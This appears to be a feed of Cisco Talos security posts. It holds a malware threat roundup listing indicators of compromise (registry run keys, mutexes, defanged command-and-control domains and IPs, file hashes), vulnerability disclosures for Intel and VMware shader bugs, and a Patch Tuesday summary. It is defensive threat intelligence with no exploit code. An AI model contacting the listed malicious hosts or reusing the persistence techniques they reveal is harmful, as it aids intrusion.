  • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS
    • Value Name: DhcpNameServer
  • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{9EB90D23-C5F9-4104-85A8-47DD7F6C4070}
    • Value Name: DhcpNameServer
Mutexes
  • !IECompat!Mutex
  • !PrivacIE!SharedMem!Mutex
  • Local\VERMGMTBlockListFileMutex
  • Local\!BrowserEmulation!SharedMemory!Mutex
  • Local\URLBLOCK_DOWNLOAD_MUTEX
  • Local\URLBLOCK_HASHFILESWITCH_MUTEX
  • {5312EE61-79E3-4A24-BFE1-132B85B23C3A}
  • {66D0969A-1E86-44CF-B4EC-3806DDDA3B5D}
  • IsoScope_1e0_ConnHashTable<480>_HashTable_Mutex
  • IsoScope_1e0_IESQMMUTEX_0_303
  • IsoScope_1e0_IESQMMUTEX_0_331
  • IsoScope_1e0_IESQMMUTEX_0_274
  • Local\URLBLOCK_FILEMAPSWITCH_MUTEX_480
  • IsoScope_708_ConnHashTable<1800>_HashTable_Mutex
  • IsoScope_708_IESQMMUTEX_0_303
  • IsoScope_708_IESQMMUTEX_0_331
  • Local\URLBLOCK_FILEMAPSWITCH_MUTEX_1800
  • IsoScope_708_IESQMMUTEX_0_274
  • IsoScope_4b4_IESQMMUTEX_0_274
  • IsoScope_f8_IESQMMUTEX_0_274
  • IsoScope_20c_ConnHashTable<524>_HashTable_Mutex
  • IsoScope_20c_IESQMMUTEX_0_303
  • IsoScope_20c_IESQMMUTEX_0_331
  • IsoScope_4b4_ConnHashTable<1204>_HashTable_Mutex
  • IsoScope_4b4_IESQMMUTEX_0_303
  • IsoScope_4b4_IESQMMUTEX_0_331
  • IsoScope_20c_IESQMMUTEX_0_274
  • Local\URLBLOCK_FILEMAPSWITCH_MUTEX_524
  • IsoScope_f8_ConnHashTable<248>_HashTable_Mutex
  • IsoScope_f8_IESQMMUTEX_0_303
  • IsoScope_f8_IESQMMUTEX_0_331
  • Local\URLBLOCK_FILEMAPSWITCH_MUTEX_248
  • IsoScope_6e4_IESQMMUTEX_0_274
  • IsoScope_6e4_ConnHashTable<1764>_HashTable_Mutex
  • IsoScope_6e4_IESQMMUTEX_0_303
  • IsoScope_6e4_IESQMMUTEX_0_331
  • Local\URLBLOCK_FILEMAPSWITCH_MUTEX_1764
  • IsoScope_4e8_IESQMMUTEX_0_274
  • IsoScope_4e8_ConnHashTable<1256>_HashTable_Mutex
  • IsoScope_4e8_IESQMMUTEX_0_303
  • IsoScope_4e8_IESQMMUTEX_0_331
  • Local\URLBLOCK_FILEMAPSWITCH_MUTEX_1256
IP Addresses contacted by malware. Does not indicate maliciousness
  • 13[.]107[.]21[.]200
Domain Names contacted by malware. Does not indicate maliciousness
  • ryiwuehwskosuqhs[.]com
  • goldenmemb[.]website
  • dolikulooospo[.]fun
Files and or directories created
  • %LocalAppData%Low\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico
  • %LocalAppData%\Microsoft\Windows\WebCache\V01tmp.log
  • %LocalAppData%\Microsoft\Windows\Temporary Internet Files\Content.IE5\1NSKV6K6\dnserror[1]
  • %LocalAppData%\Microsoft\Windows\Temporary Internet Files\Content.IE5\1NSKV6K6\httpErrorPagesScripts[1]
  • %LocalAppData%\Microsoft\Windows\Temporary Internet Files\Content.IE5\6YL4T24G\errorPageStrings[1]
  • %LocalAppData%\Microsoft\Windows\Temporary Internet Files\Content.IE5\6YL4T24G\httpErrorPagesScripts[1]
  • %LocalAppData%\Microsoft\Windows\Temporary Internet Files\Content.IE5\7V3XNPL2\NewErrorPageTemplate[1]
  • %LocalAppData%\Microsoft\Windows\Temporary Internet Files\Content.IE5\7V3XNPL2\errorPageStrings[1]
  • %LocalAppData%\Microsoft\Windows\Temporary Internet Files\Content.IE5\SSZWDDXW\NewErrorPageTemplate[1]
  • %LocalAppData%\Microsoft\Windows\Temporary Internet Files\Content.IE5\SSZWDDXW\dnserror[1]
  • %LocalAppData%\Microsoft\Windows\WebCache\V010000F.log
  • %LocalAppData%\Temp\~DF4B1ABF6D6A9DC6E3.TMP
  • %LocalAppData%\Temp\~DF88BBAB8557CDD7E3.TMP
  • %LocalAppData%\Microsoft\Windows\Temporary Internet Files\Content.IE5\1NSKV6K6\errorPageStrings[1]
  • %LocalAppData%\Microsoft\Windows\Temporary Internet Files\Content.IE5\1NSKV6K6\suggestions[2].en-US
  • %LocalAppData%\Microsoft\Windows\Temporary Internet Files\Content.IE5\6YL4T24G\NewErrorPageTemplate[1]
  • %LocalAppData%\Microsoft\Windows\Temporary Internet Files\Content.IE5\7V3XNPL2\dnserror[1]
  • %LocalAppData%\Microsoft\Windows\Temporary Internet Files\Content.IE5\7V3XNPL2\favicon[2].ico
  • %LocalAppData%\Microsoft\Windows\Temporary Internet Files\Content.IE5\1NSKV6K6\favicon[1].png
  • %LocalAppData%\Microsoft\Windows\Temporary Internet Files\Content.IE5\1NSKV6K6\favicon[2].png
  • %LocalAppData%\Microsoft\Windows\Temporary Internet Files\Content.IE5\6YL4T24G\views[1]
  • %LocalAppData%\Microsoft\Windows\Temporary Internet Files\Content.IE5\7V3XNPL2\favicon[1].ico
  • %LocalAppData%\Temp\~DFDEB0FC636A1346E9.TMP
  • %LocalAppData%\Temp\~DFEBFBFB87C6F7EC1B.TMP
  • %LocalAppData%\Temp\~DFFC172A87F8554CB4.TMP
  • %LocalAppData%\Temp\~DF81A97BC70E347BD0.TMP
  • %LocalAppData%\Microsoft\Windows\Temporary Internet Files\Content.IE5\SSZWDDXW\httpErrorPagesScripts[1]
  • %LocalAppData%\Temp\~DF8AA772D245BBB59D.TMP
  • %LocalAppData%\Temp\~DF90B11BDCE6092786.TMP
  • %LocalAppData%\Temp\~DF9FFAF3D7E7318657.TMP
  • %LocalAppData%\Microsoft\Windows\Temporary Internet Files\Content.IE5\1NSKV6K6\NewErrorPageTemplate[1]
  • %LocalAppData%\Microsoft\Windows\Temporary Internet Files\Content.IE5\7V3XNPL2\httpErrorPagesScripts[1]
  • %LocalAppData%\Microsoft\Windows\Temporary Internet Files\Content.IE5\SSZWDDXW\NewErrorPageTemplate[2]
  • %LocalAppData%\Microsoft\Windows\Temporary Internet Files\Content.IE5\SSZWDDXW\dnserror[2]
  • %LocalAppData%\Microsoft\Windows\Temporary Internet Files\Content.IE5\SSZWDDXW\errorPageStrings[1]
  • %LocalAppData%\Microsoft\Windows\Temporary Internet Files\Content.IE5\SSZWDDXW\errorPageStrings[2]
  • %LocalAppData%\Microsoft\Windows\Temporary Internet Files\Content.IE5\SSZWDDXW\httpErrorPagesScripts[2]
  • %LocalAppData%\Temp\~DF5DDD3B43947F7CEA.TMP
  • %LocalAppData%\Microsoft\Windows\Temporary Internet Files\Content.IE5\6YL4T24G\dnserror[1]
  • %LocalAppData%\Temp\~DFB15BBE1A2AFF7D7E.TMP
  • %LocalAppData%\Temp\~DF1D30A03829232972.TMP
  • %LocalAppData%\Temp\~DF38E2C66D6383AD19.TMP
  • %LocalAppData%\Temp\~DFCE77235CFE7E5202.TMP
File Hashes
  • 060707050140235807d6e6ac6933fa26cf0c230d68f574b880e99a699bdf506a
  • 088a6e8da14dbeab941702b1515b85486544dffc83885112b95997257f8d32d5
  • 0dfc771e0fbdf05facc54643341dfce97b745efe13867b01049bc977624d14b2
  • 0e21eb1c5f15689329bc6d46d78eb7d0f4eccc6fb8da4f41d17e6205ae7a847b
  • 0f71ba5f0fbba5d9810a4f816c5ebe1d545c4c65b34c180c769c2cd3467b0737
  • 130649d3f09197d1c2e895cc06fd9ecd6feb2e663562a6b99d95ae4ce66eddb8
  • 139ac3f5d2e5351c0edcd0edb384d0a75e482e8007724f181c7a4204f5895ad9
  • 13c3313b910f18431ea183b00632deacd266561a73bcf837f4b46f1f73b31bcd
  • 24b6c693551ed33b55d7ce6baae96dcca9e3cb55e9b94637d5ba59edc109d402
  • 27cec90ae8c84a79dd2ebb2928152bdea1b07cab3b2f1ad98ed8fb3f17cc339b
  • 28b54e5cf1be89766c177bc7f4c8692abec0bb4bdf299a59709d10120f7bc205
  • 29b845365404070e98840dcd74eb3c23919b0990b14bd0905b0921220f8b4bb9
  • 2c3fad4307c0739c336e50ec670b61d00029d2a2be260676419f883835ce8818
  • 337ad107eb3e1fc497af4b3f6006e12ae74a55d6535f28a67c9b231807e15f24
  • 3394d5ec6ba4c548289008cbfea8238318af52d51e8e2110b5060635425db74c
  • 378a4e27208c7fee9c7ac33d11d8872db902fe5242aceabba11343bf11a95155
  • 3a136b2b6df645c3e6b3c0febb821a5dda5bcb4bd35f674fb33aa10684b58004
  • 3c4e171d1f0b29b6f40f8bdf6af0c1161b092591c453c66734f4c6f54a0ac36f
  • 3ec415b8f411c2004892c7dedcd25e4683d0f0fded754c8b9a0f784f087dddcf
  • 420c05993a014331992918e89dda914851c0e31a2e196446309e3da07dc0c31a
  • 43d9e51c98400b09bc499f0e2857e2b797254167c29c9d2234f6506d7cf7f98e
  • 4ae9179659e2ba267b87478ea0f48c6c1caba252b4d2bcdfdc4b6ba873028d87
  • 542b5b23123a0a71d79181adeda4edfff6b91cdaf0068aafc55ee03bdc928ab5
  • 5bbc6d14ed5d408d0c7bb115853dff092c236517223c14b92c709a7ffa2c5742
  • 5cc63a68be8b7ea9feca940e7b038ebca417f421a0b70c17d3e6ebfca4212e16

Coverage


Screenshots of Detection

AMP



ThreatGrid



Umbrella

Win.Malware.Zusy-6704537-0


Indicators of Compromise


Registry Keys
  • <HKCR>\LOCAL SETTINGS\MUICACHE\3E\52C64B7E
    • Value Name: LanguageList
  • <HKLM>\System\CurrentControlSet\Services\Tcpip\Parameters
  • <HKLM>\SYSTEM\CONTROLSET001\CONTROL\NETWORK\{4D36E972-E325-11CE-BFC1-08002BE10318}\{9EB90D23-C5F9-4104-85A8-47DD7F6C4070}\CONNECTION
    • Value Name: PnpInstanceID
  • <HKCU>\Software\Microsoft\RAS AutoDial
Mutexes
  • DBWinMutex
  • NtHack
IP Addresses contacted by malware. Does not indicate maliciousness
  • 139[.]196[.]204[.]190
Domain Names contacted by malware. Does not indicate maliciousness
  • www[.]bilibili[.]com
  • wpa[.]qq[.]com
  • bbs[.]nt47[.]com
  • www[.]nt47[.]com
Files and or directories created
  • N/A
File Hashes
  • 00b657fa1270930f868fcd06c38af4b1514baa727c0db576e50340cc2f1c49dc
  • 0f6f850198e9afb8ddfe5552dad5ae6151c3cdf41f5ed8964a1e46ce62ea0d2b
  • 1bf8402a3da8797a130c528ff38fcca42403a5e878943d8dbaec420433c55edf
  • 2c0996f013b00833a28d1612acc545a66264b613e7127738ccf3536ddb04501c
  • 41cd6b708c56e1bad9b185ab09de02efd1f57d7c6691a9910d00b18489e59ec7
  • 4733b5c290c00ca10bc72c248d6a014c6bf5fe21b92592b941cfdd8ac6870610
  • 55099d0d5b7f5f677e431ebaf4c9a71877ab7b10887cb027ac78540ba1631779
  • 680e98f78b16e05b2f55e1432f8553341cfd02ece47cedca652a04e1f4c901cf
  • 6f496ef1284e79d93693374672e416d46b55c6590f8ab7737303b12f7316c2dd
  • 9085e78cbbf63b30c42a4801cee1b67fa41f4c4308d0f163c3d39d7f76c00bf8
  • 98e0df2e9cf8ba02d05cdc1bdea0cccc861855197f2a009f4a8fed152770b499
  • c19b9d8770e3619d832401aa7bc385bbf7e239d0397febbb441621efbb539f72
  • cca199364abfb50ec1dd467035fd2c637056abac9f8351393111dcdce8243e38
  • d346a3d9a4be88b2e6fe2b78b391efa47d4de3c9acb23aeb31c0b0e1868d9817
  • da9e5e6a5379284ca1b4e9be680bbecdcbca2378d8d8ae9e76e5601ba4fd9dcc
  • eba22d087a40a79daa58a95e6337f53cf98885400019ad9e8417bb4ce2f2c8ea

Coverage


Screenshots of Detection

AMP



ThreatGrid

Win.Malware.Razy-6703914-0


Indicators of Compromise


Registry Keys
  • <HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
    • Value Name: internat.exe
  • <HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
    • Value Name: system
  • <HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\ACTIVE SETUP\INSTALLED COMPONENTS\{4LW407K6-M06A-64Y6-80K0-13CK6KK8U041}
    • Value Name: StubPath
Mutexes
  • -
IP Addresses contacted by malware. Does not indicate maliciousness
  • 217[.]12[.]210[.]23
  • 82[.]205[.]63[.]221
Domain Names contacted by malware. Does not indicate maliciousness
  • extreme33[.]dns1[.]us
  • mdformo[.]ddns[.]net
  • mdformo1[.]ddns[.]net
Files and or directories created
  • N/A
File Hashes
  • 00e3f5ffeb38495cefce0f1c9522743764adf1ee6ce51b91c9c4726726562a12
  • 01a7bdfdc6502db6bd237fcbc64596d8f76052e942c2c87e897f1ae786b7cac2
  • 02c5fa1012b9cf0d46801cadcc4fe6814b4f75d50104e948031d00ff3ca7b93c
  • 035f91568ca2bad43ce3fde98a2ae0418821e5f558c62b919c786c3b07bc0fe2
  • 03970d185025e7e226c704b5bcd13de89730677345d3d57081d07895966567d4
  • 052862be7afd84bbd167be8b83918d828608b35e1423600571747e67e66dbd16
  • 055865fb005e3969e6d9e7feba2e81a8bedbe3048bf2a9cd3a9fbfe8ea6076e5
  • 063e213ee0ecae95132a3cea557203b782de3c63b753fbd405ed670e83fbf573
  • 07912d5cd0bf4ef89355a76c1fc36497e90333111b127dcf07d76cbc8ab76838
  • 081fbe8f1c01676f9765ff7742b5d348433e2fd073136355100fe9f054140e6a
  • 08627d7fbb6313bcdd42ac88152b71f4700dadf0446fb985b269c614bdd3f9af
  • 08c257d2e5938dc6539b463ba0689982b79c112c8ad0aaf1be247726622ea487
  • 092b86ef5f0e69ac5e1d554304189d289f27534fa4c7835ad4137f380a25979b
  • 09c9b81d40f3c97876eaad0f29d7e9694c58c9a9cc4dc38b167611ecfbda3d75
  • 0a032738a8ffc58b6cdce62ef209b247e008f597b6955d87da71e1654da970ef
  • 0a77d603959b51f81cd2b3b27342be0fa4248586ba0121779f1a9959fd701d11
  • 0aa93c8240a9c593d6a8d5c226d4f0b7ac033cef70b39524281c52d92a97fb0a
  • 0afde5386ca8587bca67577727f02c3e71b883b7b5fc72e25a0d542f6c5819c8
  • 0d794619980f35738bd57712d170542d6d8ff58248d21529754a0881c0b139a4
  • 0f4fc18209bbb1d979cb504b807142e1a24aa8ee831e33ce8825a5bd350096fa
  • 0ffca4c710e5af160e813f686181131c963123caaeeea9762f86296822b8c883
  • 10427e9a0ee1b4e3d349d61839e1f09cb86b2a68d23e41933127dd5ce2da0134
  • 1343648c8b4748294191cfdca4b4881a57cee96db4051530c514e7c56e1152e3
  • 1495bb27a646d27162b28bce50ebf25abc5182e7417ced315f1b93060f7e99a0
  • 17983b493cd46b604ef3846516da1cda1628ec855b896be8b54a9558ae83058c

Coverage


Screenshots of Detection

AMP



ThreatGrid



Umbrella


Doc.Malware.Emooodldr-6699885-0


Indicators of Compromise


Registry Keys
  • <HKCR>\LOCAL SETTINGS\MUICACHE\3E\52C64B7E
    • Value Name: LanguageList
  • <HKLM>\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\PRINT\PRINTERS\Canon PIXMA MG2520\PrinterDriverData
Mutexes
  • Global\552FFA80-3393-423d-8671-7BA046BB5906
  • Local\ZonesCacheCounterMutex
  • Local\ZonesLockedCacheCounterMutex
  • Global\PowerShell_CommandAnalysis_Lock_S-1-5-21-2580483871-590521980-3826313501-500
  • Global\MTX_MSO_AdHoc1_S-1-5-21-2580483871-590521980-3826313501-500
  • Global\MTX_MSO_Formal1_S-1-5-21-2580483871-590521980-3826313501-500
  • Local\10MU_ACB10_S-1-5-5-0-57527
  • Local\10MU_ACBPIDS_S-1-5-5-0-57527
  • Local\WinSpl64To32Mutex_e162_0_3000
  • Local\MSCTF.Asm.MutexDefault1
IP Addresses contacted by malware. Does not indicate maliciousness.
  • N/A
Domain Names contacted by malware. Does not indicate maliciousness.
  • q0fpkblizxfe1l[.]com
Files and or directories created
  • %LocalAppData%\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{B106E8EE-597B-49CA-A6A4-5BA8ABCC8F6A}.tmp
  • %LocalAppData%\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{43E9ADDD-30D5-47E4-98B0-7E3A5536CACC}.tmp
  • %UserProfile%\Documents\20180928
  • %UserProfile%\924.exe
  • %SystemDrive%\TEMP\~$8241024f69edc258237f01170ea088fd5064c5908267e943f97bc9e2a6ea1d.doc
  • %LocalAppData%\Temp\CVR41E8.tmp
  • %LocalAppData%\Temp\~DFD053DCDB50AFFE51.TMP
  • %LocalAppData%\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{0EF83731-611B-4C55-980D-4D5CFC5BF353}.tmp
  • %AppData%\Microsoft\Office\Recent\5f8241024f69edc258237f01170ea088fd5064c5908267e943f97bc9e2a6ea1d.LNK
  • \TEMP\~$8241024f69edc258237f01170ea088fd5064c5908267e943f97bc9e2a6ea1d.doc
  • %LocalAppData%\Temp\bdmwft0z.slp.ps1
  • %LocalAppData%\Temp\tjkn23yi.53a.psm1
  • %UserProfile%\Documents\20180928\PowerShell_transcript.PC.ceUgAgR5.20180928074741.txt
File Hashes
  • 06f0ec25e8b014b407402207afa8b6c0db494ad270d910534399c2137204e81b
  • 0a8d4f2ac74485345284950b158da4be071633f33b0c7b9fa18d1f3e4d28732e
  • 292b28d2f08fbd08ee8f1c2ed6f765b08c883031c0fae8dd84480ba0e1ca940d
  • 3371fc7b0cf2d389571002c3ca26c9268edc373b79486e47bd6c349120f560c2
  • 33d078881456e3b930c480803902fa28142b17c8550f3932e7cf4a1df0eb9213
  • 567fe3794a9eec27697ae0634861d284279261880887f60a7374c6cbe63b7674
  • 5f8241024f69edc258237f01170ea088fd5064c5908267e943f97bc9e2a6ea1d
  • 91f0264ea76628c6b8825f358cd9cb8e1255604108fc059e0ac283d49c0dd852
  • 933f5c822937fdec9325d1c99c5e0a5fda92296ef7c51ce7cd2dfc72bbe95b82
  • cf8f98b1adf802ed2b24345161a38c4cfa499b36f17b0466a1da74edce84ba4b
  • e469ba3bad870a5e7596035f69f2ba4cbb849cbdf9a8019890ccdea02c60e4d6
  • f368d4a10770c42316d9c1024a0894b85048020526be03b2e824165b5b66e978
  • f88ef62f2342f4d1105cfe85395b735efd3f0308b79551944983ce245d425510

Coverage


Screenshots of Detection

AMP



ThreatGrid



Umbrella


Vulnerability in the Intel Unified Shader compiler for the Intel Graphics Accelerator

$
0
0
Vulnerabilities discovered by Piotr Bania of Cisco Talos

Talos is disclosing a pointer corruption vulnerability in the Intel Unified Shader compiler for the Intel Graphics Accelerator.


Overview

In order for the graphics to be produced, the graphics accelerators need to process the OpenGL scripts into actual graphics. That process is named "shader compilation." On the Intel Graphics accelerator, this is done inside the igdusc64 dynamic linked library (DLL), and this is where the vulnerability exists.


TALOS-2018-0533 - Intel Unified Shader Compiler for Intel Graphics Accelerator Pointer Corruption

An exploitable pointer corruption vulnerability exists in the Intel's Unified Shader Compiler for IntelⓇ Graphics Accelerator, version 10.18.14.4889. A specially crafted pixel shader can cause a pointer corruption, that if exploited successfully, may lead to code execution. An attacker can trigger the vulnerability by supplying a specially crafted shader file, either in binary or text form. The vulnerability can be triggered from a VMware guest affecting VMware host (potentially causing VMware to crash or a guest-to-host escape). Under specific circumstances, WebGL may also be an attack vector.

CVE: CVE-2018-12152

A full technical advisory is available here.

TALOS-2018-0568 - Intel Unified Shader Compiler for Intel Graphics Accelerator Remote Denial of Service

An exploitable denial-of-service vulnerability exists in the Intel's Unified Shader Compiler for Intel Graphics Accelerator (10.18.14.4889). An attacker can provide a specially crafted shader file (either in binary or text form) to trigger this vulnerability. This vulnerability can be triggered from VMware guest and the vmware-vmx.exe process crash on the host.

CVE: CVE-2018-12153

A full technical advisory is available here.

TALOS-2018-0579 - Intel Unified Shader Compiler for Intel Graphics Accelerator Remote Denial of Service

An exploitable pointer corruption vulnerability exists in the Intel's Unified Shader Compiler for Intel Graphics Accelerator, version 10.18.14.4889. A specially crafted pixel shader can cause an infinite loop, leading to a denial of service.

The vulnerability can be triggered from a VMware guest affecting VMware host where the vmware-vmx.exe will become unresponsive while consuming CPU resources.

CVE: CVE-2018-12154

A full technical advisory is available here.

Discussion

Vulnerabilities that may lead to virtual machine guest-to-host escape are especially insidious, as they may expose more than just the targeted system. The possibility of a remote attack vector through the WebGL increases the risk posed by this vulnerability, has it provides a bigger landscape of attack.

Coverage

The following Snort IDs have been released to detect these vulnerabilities:
45752 - 45753, 46173 - 46174, 46388 - 46389

Microsoft Patch Tuesday — October 18: Vulnerability disclosures and Snort coverage

$
0
0
Microsoft released its monthly security update today, disclosing a variety of vulnerabilities in several of its products. The latest Patch Tuesday covers 49 vulnerabilities, 12 of which are rated "critical," 34 that are rated "important,” two that are considered to have “moderate” severity and one that’s rated as “low.”

The advisories cover bugs in the Chakra scripting engine, the Microsoft Edge internet browser and the Microsoft Office suite of products, among other software.

This update also includes a critical advisory that covers updates to the Microsoft Office suite of products.

Critical vulnerabilities

Microsoft has disclosed 12 critical vulnerabilities this month, which we will highlight below.


CVE-2018-8491, CVE-2018-8460 and CVE-2018-8509 are memory corruption vulnerabilities in the Internet Explorer web browser. In both cases, an attacker needs to trick the user into visiting a specially crafted, malicious website that can corrupt the browser’s memory, allowing for remote code execution in the context of the current user. This class of vulnerabilities is especially dangerous since a spam campaign can be used to trick the user while hiding the attack from network protections with HTTPS.

CVE-2018-8473 is a remote code execution vulnerability in Microsoft Edge. The bug lies in the way the web browser accesses objects in memory. An attacker could trick a user into visiting a malicious website or take advantage of a website that accepts user-created content or advertisements in order to exploit this vulnerability.

CVE-2018-8513, CVE-2018-8500, CVE-2018-8511, CVE-2018-8505 and CVE-2018-8510 are memory corruption vulnerabilities in the Chakra scripting engine that affects a variety of products. In all cases, an attacker could exploit these vulnerabilities to execute code on the system in the context of the current user and completely take over the system. This class of vulnerabilities is especially dangerous since a spam campaign can be used to trick the user while hiding the attack from network protections with HTTPS.

CVE-2018-8494 is a remote code execution vulnerability that exists when the MSXML parser in Microsoft XML Core Services processes user input. An attacker can exploit this bug by invoking MSXML through a web browser on a specially crafted website. The user also needs to convince the user to open the web page.

CVE-2018-8490 and CVE-2018-8489 are remote code execution vulnerabilities in the Windows Hyper-V hypervisor. The bugs lie in the way the host server on Hyper-V fails to properly validate input from an authenticated user on a guest operating system. An attacker could exploit these vulnerabilities by running a specially crafted application on a guest operating system that could cause the Hyper-V host operating system to execute arbitrary code.

Important vulnerabilities

There are also 34 important vulnerabilities in this release. We would like to specifically highlight 22 of them.

CVE-2018-8512 is a security feature bypass vulnerability in Microsoft Edge. The web browser improperly validates certain specially crafted documents in the Edge Content Security Policy (CSP), which could allow an attacker to trick a user into loading a malicious page.

CVE-2018-8448 is an elevation of privilege vulnerability in the Microsoft Exchange email server. The bug exists in the way that Exchange Outlook Web Access improperly handles web requests. An attacker could exploit this vulnerability by performing script or content injection attacks that trick the user into disclosing sensitive information. They could also trick the user into providing login credentials via social engineering in an email or chat client.

CVE-2018-8453 is an elevation of privilege vulnerability in the Windows operating system that occurs when the Win32k component improperly handles objects in memory. An attacker could obtain the ability to run arbitrary code in kernel mode by logging onto the system and then run a specially crafted application.

CVE-2018-8484 is an elevation of privilege vulnerability in the DirectX Graphics Kernel driver that exists when the driver improperly handles objects in memory. An attacker could log onto the system and execute a specially crafted application to exploit this bug and run processes in an elevated context.

CVE-2018-8423 is a remote code execution vulnerability in the Microsoft JET Database Engine that could allow an attacker to take control of an affected system. A user must open or import a specially crafted Microsoft JET Database Engine file on the system in order to exploit this bug. They could also trick a user into opening a malicious file via email.

CVE-2018-8502 is a security feature bypass vulnerability in Microsoft Excel when the software fails to properly handle objects in protected view. An attacker could execute arbitrary code in the context of the current user if they convince the user to open a specially crafted, malicious Excel document via email or on a web page. This bug cannot be exploited if the user opens the Excel file in just the preview pane.

CVE-2018-8501 is a security feature bypass vulnerability in Microsoft PowerPoint. The bug exists when the software improperly handles objects in protected view. An attacker can execute arbitrary code in the context of the current user if they convince the user to open a specially crafted PowerPoint file. This bug cannot be exploited if the user only opens the file in preview mode.

CVE-2018-8432 is a remote code execution vulnerability that lies in the way Microsoft Graphics Components handles objects in memory. A user would have to open a specially crafted file in order to trigger this bug.

CVE-2018-8504 is a security feature bypass vulnerability in the Microsoft Word word processor. There is a flaw in the way the software handles objects in protected view. An attacker could obtain the ability to arbitrarily execute code in the context of the current user if they convince the user to open a malicious Word document. The bug cannot be triggered if the user opens the file in preview mode.

CVE-2018-8427 is an information disclosure vulnerability in Microsoft Graphics Components. An attacker could exploit this vulnerability by tricking the user into opening a specially crafted file, which would expose memory layout.

CVE-2018-8480 is an elevation of privilege vulnerability in the Microsoft SharePoint collaborative platform. The bug lies in the way the software improperly sanitizes a specially crafted web request to an affected SharePoint server. An attacker could exploit this vulnerability by sending a specially crafted request to an affected SharePoint server.

CVE-2018-8518, CVE-2018-8488 and CVE-2018-8498 are elevation of privilege vulnerabilities in the Microsoft SharePoint Server. An attacker can exploit these bugs by sending a specially crafted request to an affected SharePoint server, allowing them to carry out cross-site scripting attacks and execute code in the context of the current user.

CVE-2018-8333 is an elevation of privilege vulnerability in Filter Management that exists when the program improperly handles objects in memory. An attacker needs to log onto the system and delete a specially crafted file in order to exploit this bug, which could lead to them gaining the ability to execute code in the context of an elevated user.

CVE-2018-8411 is an elevation of privilege vulnerability that exists when the NFTS file system improperly checks access. An attacker needs to log onto the system to exploit this bug and then run a specially crafted application, which could lead to the attacker running processes in an elevated context.

CVE-2018-8320 is a security feature bypass vulnerability that exists in the DNS Global Blocklist feature. An attacker who exploits this bug could redirect traffic to a malicious DNS endpoint.

CVE-2018-8492 is a security bypass vulnerability in the Device Guard Windows feature that could allow an attacker to inject malicious code into Windows PowerShell. An attacker needs direct access to the machine in order to exploit this bug, and then inject malicious code into a script that is trusted by the Code Integrity policy. The malicious code would then run with the same access level as the script, and bypass the integrity policy.

CVE-2018-8329 is an elevation of privilege vulnerability in Linux on Windows. The bug lies in the way Linux improperly handles objects in memory. An attacker can completely take control of an affected system after logging onto the system and running a specially crafted application.

CVE-2018-8497 is an elevation of privilege vulnerability that exists in the way the Windows Kernel handles objects in memory. A locally authenticated attacker can exploit this bug by running a specially crafted application.

CVE-2018-8495 is a remote code execution vulnerability that exists in the way Windows Shell handles URIs. An attacker needs to convince the user to visit a specially crafted website on Microsoft Edge in order to exploit this vulnerability.

CVE-2018-8413 is a remote code execution vulnerability that exists when “Windows Theme API” improperly decompresses files. A victim can exploit this bug by convincing the user to open a specially crafted file via an email, chat client message or on a malicious web page, allowing the attacker to execute code in the context of the current user.

Other important vulnerabilities:

Moderate vulnerabilities

Of the two moderate vulnerabilities disclosed by Microsoft, Talos believes one is worth highlighting.

CVE-2010-3190 is a remote code execution vulnerability in the way that certain applications built using Microsoft Foundation Classes handle the loading of DLL files. An attacker could take complete control of an affected system by exploiting this vulnerability. At the time this bug was first disclosed, Exchange Server was not identified as an in-scope product, which is why this release highlights a flaw from 2010.

The other moderate vulnerability is CVE-2018-8533.

Low vulnerability

There is also one low-rated vulnerability, which Talos wishes to highlight.

CVE-2018-8503 is a remote code execution vulnerability in the way that Chakra scripting engine handles objects in memory in the Microsoft Edge web browser. An attacker needs to convince a user to visit a malicious website or malicious content on a web page that allows user-created content or advertisements in order to exploit this bug.

Coverage

In response to these vulnerability disclosures, Talos is releasing the following Snort rules that detect attempts to exploit them. Please note that additional rules may be released at a future date and current rules are subject to change pending additional information. Firepower customers should use the latest update to their ruleset by updating their SRU. Open Source Snort Subscriber Rule Set customers can stay up-to-date by downloading the latest rule pack available for purchase on Snort.org.

Snort rules: 48045 - 48057, 48058 - 48060, 48062, 48063, 48072, 48073

Vulnerability Spotlight: VMWare Workstation DoS Vulnerability

$
0
0
Today, Cisco Talos is disclosing a vulnerability in VMware Workstation that could result in denial of service. VMware Workstation is a widely used virtualization platform designed to run alongside a normal operating system, allowing users to use both virtualized and physical systems concurrently.

TALOS-2018-0589

Discovered by Piotr Bania of Cisco Talos
TALOS-2018-0589 / CVE-2018-6977 is an exploitable denial-of-service (DoS) vulnerability in the VMware Workstation 14 software. The vulnerability lies in the pixel shader utilized by VMware Workstation and can be triggered by supplying a malformed pixel shader in either text or binary form inside a VMware guest operating system. This vulnerability can be triggered from VMware guest or VMware hosts and results in a process crashing leading to a DoS state.  Additionally, it is possible to trigger the vulnerability through WEBGL, assuming the browser will not use ANGLE and will supply the malformed shader as intended.

For more technical details, please read our advisory here.

Tested Software:

VMware Workstation 14 (14.1.1.28517)

Coverage

Talos has developed the following Snort rules to detect attempts to exploit this vulnerability. Note that these rules are subject to change pending additional vulnerability information. For the most current information, please visit your Firepower Management Center or Snort.org.

Snort Rules: 46541 - 46542

For other vulnerabilities Talos has disclosed, please refer to our Vulnerability Report Portal: http://www.talosintelligence.com/vulnerability-reports/

To review our Vulnerability Disclosure Policy, please visit this site:
http://www.cisco.com/c/en/us/about/security-center/vendor-vulnerability-policy.html

Microsoft WindowsCodecs.dll SniffAndConvertToWideString Information Leak Vulnerability

$
0
0
These vulnerabilities were discovered by Marcin Noga of Cisco Talos.

Today, Cisco Talos is disclosing a vulnerability in the WindowsCodecs.dll component of the Windows operating system.

WindowsCodecs.dll is a component library that exists in the implementation of Windows Imaging Component (WIC), which provides a framework for working with images and their data. WIC makes it possible for independent software vendors (ISVs) and independent hardware vendors (IHVs) to develop their own image codecs and get the same platform support as standard image formats (ex. TIFF, JPEG, PNG, GIF, BMP and HDPhoto).

Vulnerability Details

